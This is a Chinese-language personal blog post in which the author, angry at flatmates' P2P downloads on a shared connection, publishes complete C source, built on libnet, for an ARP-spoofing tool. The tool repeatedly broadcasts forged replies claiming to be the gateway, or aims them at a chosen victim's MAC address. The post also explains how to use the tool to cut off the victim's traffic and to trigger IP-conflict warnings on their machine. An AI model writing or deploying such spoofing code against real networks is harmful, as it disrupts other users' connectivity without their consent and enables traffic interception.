把本子的系統換成OpenSuse11.1后,發現與別人合用1M帶寬幾乎不能訪問網絡,
在多次聲明限制P2P下載速度無果后,想到了以前使用P2P Killer的經驗,決定自己寫一個發送arp偽造應答包的程序。
P2P Killer中文名為P2P終結者,其原理是監聽arp數據包,根據設定帶寬,利用一定的時間間隔算法發送偽造的arp應答包。
由于arp屬于鏈路層協議,如果利用原始套接字來做,估計半天時間完不成,所以搜索了一下,發現libnet是個比較成熟的網絡庫。libnet幾乎涵蓋了整個TCP/IP協議:
使用libnet來構造這么一個小應用,應該是小菜一碟。
下面是source codes:

/**//**
A APR reply package sender

@author heath(heath.luo@gmail.com)
@date Jan. 17, 2009
@version 0.01
*/

#include <stdio.h>
#include <libnet.h>

#ifndef HRD_ALEN
#define HRD_ALEN 6 ///< hardware address length
#endif

#ifndef PRO_ALEN
#define PRO_ALEN 4 ///< protocol address format
#endif


static u_char ucHdr_src[HRD_ALEN] =
{0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};

static u_char ucHdr_dst[HRD_ALEN] =
{0xff , 0xff , 0xff , 0xff , 0xff , 0xff}; /**////< broadcasting by default


static u_char ucPro_src[PRO_ALEN] =
{192 , 168 , 1 , 1};

static u_char ucPro_dst[PRO_ALEN] =
{192 , 168 , 1 , 2};

void Usage();
void ParseParams(int argc , char** argv);
void TestParams();
void SendPackage();

int main(int argc , char** argv)


{
ParseParams(argc , argv);
TestParams();
SendPackage();
}

void Usage()


{
printf("-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
}

void ParseParams(int argc , char** argv)


{
int c;
u_char* cp;
int i;
u_char bError;

while((c = getopt(argc , argv , "hd:m:i:")) != -1)

{
switch(c)

{
case 'h':
Usage();
break;
case 'd':
bError = 0;
for(i = 1; i <= HRD_ALEN - 1; ++i)

{
if((cp = strrchr(optarg , '-')))

{
*cp++ = 0;
ucHdr_dst[HRD_ALEN - i] = (u_char)strtol(cp , NULL , 16);
}
else
bError = 1;
}
if(bError)

{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucHdr_dst[0] = (u_char)strtol(optarg , NULL , 16);
break;
case 'm':
bError = 0;
for(i = 1; i <= HRD_ALEN - 1; ++i)

{
if((cp = strrchr(optarg , '-')))

{
*cp++ = 0;
ucHdr_src[HRD_ALEN - i] = (u_char)strtol(cp , NULL , 16);
}
else
bError = 1;
}
if(bError)

{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucHdr_src[0] = (u_char)strtol(optarg , NULL , 16);
break;
case 'i':
bError = 0;
for(i = 1; i <= PRO_ALEN - 1; ++i)

{
if((cp = strrchr(optarg , '.')))

{
*cp++ = 0;
ucPro_src[PRO_ALEN - i] = (u_char)atoi(cp);
}
else
bError = 1;
}
if(bError)

{
printf("Parameters Error!\n");
Usage();
exit(-1);
}
else
ucPro_src[0] = (u_char)atoi(optarg);
break;
default:
Usage();
}
}
}

void TestParams()


{
printf("======Parameters======\n");
printf("ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
printf("ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
printf("ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
printf("ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
printf("======End=====\n");
}

void SendPackage()


{
libnet_t* pLibnet = NULL;
char strError[LIBNET_ERRBUF_SIZE];
libnet_ptag_t ptArp = 0;
libnet_ptag_t ptEth = 0;

pLibnet = libnet_init(LIBNET_LINK , "eth0" , strError);
if(!pLibnet)

{
printf("Libnet Error in libnet_init:%s\n" , strError);
exit(-1);
}

ptArp = libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP ,
HRD_ALEN , PRO_ALEN ,
ARPOP_REPLY ,
ucHdr_src , ucPro_src ,
ucHdr_dst , ucPro_dst ,
NULL , 0 ,
pLibnet ,
ptArp);
if(ptArp < 0)

{
printf("Libnet Error in libnet_build_arp!\n");
exit(-1);
}

ptEth = libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
ETHERTYPE_ARP , NULL , 0 , pLibnet , ptEth);
if(ptEth < 0)

{
printf("Libnet Error in libnet_build_ethernet!\n");
exit(-1);
}
while(1)


{
if(libnet_write(pLibnet) < 0)

{
printf("Libnet Error in libnet_write!\n");
exit(-1);
}
sleep(5);
}
libnet_destroy(pLibnet);
}

由于ARP處于link layer,所以目標協議地址(由ucPro_dst給出)是沒用的。對于ARP數據包格式的詳細說明,可以參考《TCP-IP詳解卷1》第4章。
該程序缺省情況下是偽造網關(192.168.1.1)的MAC地址廣播給網段內所有機器。如果想針對特定機器發送,可以通過-d來指定其MAC地址:
arphacker -d <目標機MAC地址> -m <欲偽造的arp應答發送方MAC地址> -i <欲偽造的arp應答發送方IP地址>
利用ping+arp命令獲得對方的MAC地址后,每隔一定時間發送偽造網關的MAC地址,可使對方的大量P2P數據包找不到北,從而給自己留出帶寬。
如果你希望給予對方提示,讓其彈出“IP地址沖突”氣球(windows平臺有效),可以將-m后的參數改為一個與目標機不一樣的MAC地址,而-i給出目標機的IP。
下圖為在虛擬機上運行的截圖:

NOTE: 本人開發此程序實屬被逼無奈,在連打開網頁、上QQ的基本權力被剝奪之后,決定拿起自己手中之劍,維護自己的權益。昨天晚上,使用了一下,可以上網了,這也算是寫代碼帶來的樂趣吧。
參考文獻:
[1] libnet.
http://www.packetfactory.net/libnet/